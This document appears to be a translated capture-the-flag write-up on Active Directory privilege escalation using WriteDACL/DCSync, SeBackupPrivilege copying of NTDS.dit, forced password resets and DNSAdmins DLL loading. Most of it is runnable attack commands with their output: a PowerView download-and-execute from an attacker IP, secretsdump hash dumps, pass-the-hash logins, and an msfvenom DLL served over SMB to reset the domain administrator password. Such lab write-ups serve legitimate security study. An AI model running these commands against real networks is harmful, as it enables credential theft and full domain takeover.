0x02 Abusing SeBackupPrivilege permission to perform NTDS.dt shadow copy for privilege escalation

0x00 Preface

Before discussing the main content of this article, I would like to talk about the BloodHound tool first. BloodHound is a powerful domain penetration and privilege escalation analysis tool. It puts various abstract concepts and structures within the domain into a running and intuitive, and easy-to-use graphical function, which automatically extracts and analyzes data, and efficiently and accurately displays how to elevate permissions in the AD domain. It uses graph theory to automate understanding most of the relationships and details in the Active Directory environment. Your team can use BloodHound to quickly gain an in-depth understanding of some user relationships in AD, understand which users have administrative permissions, which users have the ability to manage any computer, and effective user group membership information. It is a tool that is of great help to us in searching for attack vectors, planning attack routes, and performing lateral movement during domain penetration.

0x01 Abusing WriteDACL permissions to achieve privilege escalation

Introduction: In a domain environment, after installing Exchange, the system will add three groups named Microsoft Exchange Security Groups, Exchange Trusted Subsystem, and Exchange Windows Permission. If control permissions of any user in these three groups are obtained, it is possible to inherit the WriteDACL permissions of the user group. The WriteDACL permissions can modify the ACL of domain objects, ultimately achieving the purpose of using DCSync to export all user hashes within the domain and realizing the goal of privilege escalation.

实际应用场景：

By searching for the 'svc-alfresco' user in BloodHound, I found that the user actually belongs to the Account Operators group, which is one of the privileged groups in AD, the members of which can create and manage users and groups in the domain and set permissions for them, and can also log in to the domain controller locally. However, they cannot change accounts belonging to the Administrators or Domain Admins groups, nor can they change these groups.

From the following figure, we can see the path from svc-alfresco to Domain Admins, in the following figure, we find that the exchange windows permission group fully trusts the Account Operators group, so we can take advantage of the permissions of the Account Operators group to create a new user, and then add him to the exchange windows permission group, so that we can perform some operations on HTB.LOCAL, we see that the members of the exchange windows permission group have writeDACL permissions on htb.local, and then we can take advantage of the new user we added to abuse the writeDACL permissions of HTB.LOCAL, thereby achieving privilege escalation, and I will explain the principle of the attack process in detail next.

By default,Exchange Windows PermissionsThe security group has writeDACL permissions for the domain objects of the domain where Exchange is installed.

writeDACL permission allows an identity to modify the permissions of a specified object (in other words: modify the ACL), which means by becoming a member of the organization management group, we can elevate our permissions to domain administrator level.
To take advantage of this, we will add the newly created user account to theExchange Windows Permissionin the group.Exchange Windows PermissionThe members of the group, which allows us to modify the ACL of the HTB.LOCAL domain.

net user test123  test123! /add /domain
The command result finds the Exchange Windows Permissions group
net group 'Exchange Windows Permissions' test123  /add /domain
The command result contains the Remote Management Users group
net localgroup 'Remote Management Users' test123 /add

If we have the right to modify the ACL of AD objects, we can assign permissions to identities that are allowed to write specific attributes (such as attributes containing phone numbers). In addition to assigning read/write permissions to these attributes, we can also assign extended permissions. These permissions are predefined tasks, such as changing passwords, sending emails to mailboxes, etc. By applying the following extended permissions, any given account can also be added as a replication partner of the domain:

• Replication directory changes (DS-Replication-Get-Changes)

• All replication directory changes (DS-Replication-Get-Changes-All)

When we set these permissions for our user accounts, we can request the password hash of any user in the domain. So how do we get it specifically?

DCsync attack

This involves a knowledge point called AD replication technology:

The domain controller (DC) is the pillar of the Active Directory (AD) domain, used for efficient management of users within the domain. Therefore, in enterprises, in order to prevent the DC from failing unexpectedly and causing the domain to fail, it is necessary to deploy multiple domain controllers as backups for the AD domain, or to deploy multiple domain controllers to facilitate local authentication and other strategies at the site location. When multiple domain controllers are deployed in the enterprise internal network, after one domain controller makes changes to the data, it needs to synchronize the data with other domain controllers, and this synchronization is done through Microsoft's Remote Directory Replication Service protocol (MS-DRSR), which is based on MSRPC / DCE/RPC. And its DRS Microsoft API is DRSUAPI (which can be seen in the packet capture later). Between different domain controllers (DC), there will be a domain data synchronization every 15 minutes. When a domain controller (DC 1) wants to obtain data from other domain controllers (DC 2), DC 1 will initiate a GetNCChanges request to DC 2, and the data in the request includes the data that needs to be synchronized. If there is a lot of data to synchronize, the above process will be repeated. DCSync takes advantage of this principle to initiate data synchronization requests to the domain controller through the GetNCChanges interface of the Directory Replication Service (DRS) service.

We all know that the most fundamental permissions that domain users have are actually determined by the user's DACL, so for DCSync attacks, as long as the domain users have the following DACL, they can send data synchronization requests to the domain controller, thereby dumping the domain user hashes, and these two DACLs are as follows:

Replication directory changes (DS-Replication-Get-Changes)
All replication directory changes (DS-Replication-Get-Changes-All)

Note: By default, local administrators, domain administrators, enterprise administrators, and domain controller computer accounts have the above permissions. Note that if the DCSync attack object is a read-only domain controller (RODC), it will fail because RODC cannot participate in replicating and synchronizing data to other DCs.

The principles have been explained, so let's start the operation. First, log in to the newly created user via winRM

root@kali2020:~#python -m http.server 80
root@kali2020:~#evil-winrm -u test123 -p test123！ -i 10.10.10.161
*Evil-WinRM* PS C:\Users\test123\Documents>powershell -nop -exec bypass -c "iex(New-Object Net.webclient).downloadstring('http://10.10.16.12/PowerView.ps1')"
*Evil-WinRM* PS C:\Users\test123\Documents>Add-DomainObjectAcl -PrincipalIdentity 'test123' -TargetIdentity 'DC=htb,DC=local' -Rights DCSync

At this point, we can use the upgraded privileges, and we can use the secretsdump.py tool to execute DCSync to dump the NTLM hashes of the 'admin' user

root@kali2020:~# secretsdump.py test123:'test123!'@10.10.10.161
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::
...
...
...
[*] Cleaning up...

Since we have obtained the administrator's hash, we can directly log into the account through wmiexec.

wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 htb.local/administrator@10.10.10.161

We can see that we have obtained domain admin privileges at this point.

0x02 Abusing SeBackupPrivilege permission to perform NTDS.dt shadow copy for privilege escalation

Introduction: The SeBackupPrivilege permission is used to implement backup operations, allowing file content retrieval, even if the security descriptor on the file may not grant such access. Calls with SeBackupPrivilege enabled do not require any security checks based on ACLs, and we can use this permission to perform NTDS.dt shadow copy to achieve privilege escalation.

实际应用场景：

The steps of the attack are roughly divided into three.
- Obtain a file copy, `NTDS.dit`, which stores the Active Directory user credentials database.
- Next, we will obtain the SYSTEM hive file, which contains the system startup key required to decrypt NTDS.dit.
- Use Impacket's secretsdump script to extract all users' NTLM hashes from the NTDS.dit.

Now that we have obtained a hash for the svc_backup user, we start using evil-winrm to attempt remote login.

evil-winrm -10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d

Through the analysis results of bloodhound that we previously imported, we know that this user is a member of the backup_operators group.

Therefore, it is very likely that this user also has the SEBackupPrivilege permission. We execute the following command to see if they have this permission.

*Evil-WinRM* PS C:\Users\svc_backup\Desktop> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

At this point, we know that we have the SEBackupPrivilege permission, so we can complete diskshadow by creating a shadow copy of the NTDS.dit volume using a signed binary file. First, create a text file named script.txt with the following content:

{
set context persistent nowriters
set metadata c:\windows\system32\spool\drivers\color\example.cab
set verbose on
begin backup
add volume c: alias mydrive
 
create

expose %mydrive% w:
end backup
}

then executediskshadow and use the script file as its input. Then, we can use thisrepoThe two provided dll files, and follow the steps provided to copy the created NTDS.dit shadow copy volume

*Evil-WinRM* PS C:\Users\svc_backup\music>diskshadow /s script.txt
*Evil-WinRM* PS C:\Users\svc_backup\music>upload SeBackupPrivilegeCmdLets.dll c:\users\svc_backup\music\
*Evil-WinRM* PS C:\Users\svc_backup\music>upload SeBackupPrivilegeUtils.dll c:\users\svc_backup\music\
*Evil-WinRM* PS C:\Users\svc_backup\music>Copy-FileSeBackupPrivilege w:\windows\NTDS\ntds.dit c:\users\svc_backup\music\ntds.dit -Overwrite
*Evil-WinRM* PS C:\Users\svc_backup\music> reg save HKLM\SYSTEM c:\users\svc_backup\music\system.hive 
*Evil-WinRM* PS C:\Users\svc_backup\music>download ntds.dit
*Evil-WinRM* PS C:\Users\svc_backup\music>download system.hive

I can now useEvil-WinRM’sdownload function to download NTDS.dit and system.hive files. Then, useImpacket’ssecretsdump.py 解析 NTDS.dit：

secretsdump.py LOCAL -system system.hive -ntds ntds.dit -outputfile secretsdump.out
cat secretsdump.out

Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] Target system bootKey: 0x73d83e56de8961ca9f243e1a49638393
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, please be patient
[*] PEK # 0 found and decrypted: 35640a3fd5111b93cc50e3b4e255ff8c
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:9e3d10cc537937888adcc0d918813a24:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3c02561bba6ee4ad6cfd024ec8fda5d:::
audit2020:1103:aad3b435b51404eeaad3b435b51404ee:4c67bfbc7834b2f39fae7138f717dcbd:::
support:1104:aad3b435b51404eeaad3b435b51404ee:cead107bf11ebc28b3e6e90cde6de212:::
[..SNIP..]

By analyzing the results of secretsdump above, we can see the administrator's hash, so now we can log into the administrator account using wmiexec.py via the hash

wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee blackfield.LOCAL/administrator@10.10.10.192

As can be seen now, we have obtained domain administrator shell

0x03 Abusing ForceChangePassword permission to achieve lateral movement

Introduction: ForceChangePassword: Force password change, change the password of the target user without knowing the current password.

实际应用场景：

In bloodhound, we can see that the support user has the ForceChangePassword permission for the AUDIT user

As can be seen from the above figure, the support user has the right to modify the password of the audit2020 user, and we will try to modify the password of the audit2020 user next

rpcclient -U support //10.10.10.192
rpcclient $> setuserinfo2 audit2020 23 'ncxw1234'

If I use content that does not match the password policy to reset, it will return

rpcclient $> setuserinfo2 audit2020 23 'ncxw1234#'

After changing the password, we can now verify it

crackmapexec smb 10.10.10.192 -u audit2020 -p 'ncxw1234#'

Next, we try to discover more SMB shared directories using audit2020

smbmap -H 10.10.10.192 -u audit2020 -p 'ncxw1234#'

We have observed that, compared to the previous user, we have obtained access to the directory 'forensic' and can conduct further information collection, or use the permissions of this user to perform some operations that were previously impossible.

0x04 Abusing DNS Admin group permissions to elevate privileges

Introduction: When we have access to a user account that is a member of the DNSAdmins group, or when the infected user account has write permissions to the DNS server object, we can abuse his membership to upgrade to administrative privileges. In simple terms, members of the DNSAdmins group can access network DNS information. The default permissions are as follows: Allow: Read, Write, Create all child objects, Delete child objects, Special permissions. By default, DNSAdmins does not have the ability to start or stop DNS services, but it is not uncommon for administrators to grant this group the permission, which can be used to elevate privileges to administrator through DLL injection when the members of the dnsadmins group are granted this permission.

实际应用场景：

Actual application scenarios:

Through the following command, we find that the ryan user is a member of the DNSAdmins group

On the target, we can change the dns configuration because the user ryan belongs to the dnsadmins group. We can also start and stop the dns service.

Firstly, we can use msfvenom to generate our effective payload dll, and then start the smb service
msfvenom -p windows/x64/exec cmd='net user administrator P@s5w0rd123! /domain' -f dll > da.dll

smbserver.py SHARE https://www.freebuf.com/articles/system/
*Evil-WinRM* PS C:\Users\ryan\Documents>cmd /c dnscmd 10.10.10.169 /config /serverlevelplugindll \\10.10.16.12\share\da.dll
*Evil-WinRM* PS C:\Users\ryan\Documents>sc.exe stop dns

*Evil-WinRM* PS C:\Users\ryan\Documents>sc.exe start dns
psexec.py megabank.local/administrator@10.10.10.169

P@s5w0rd123! # Enter password

0x05 Summary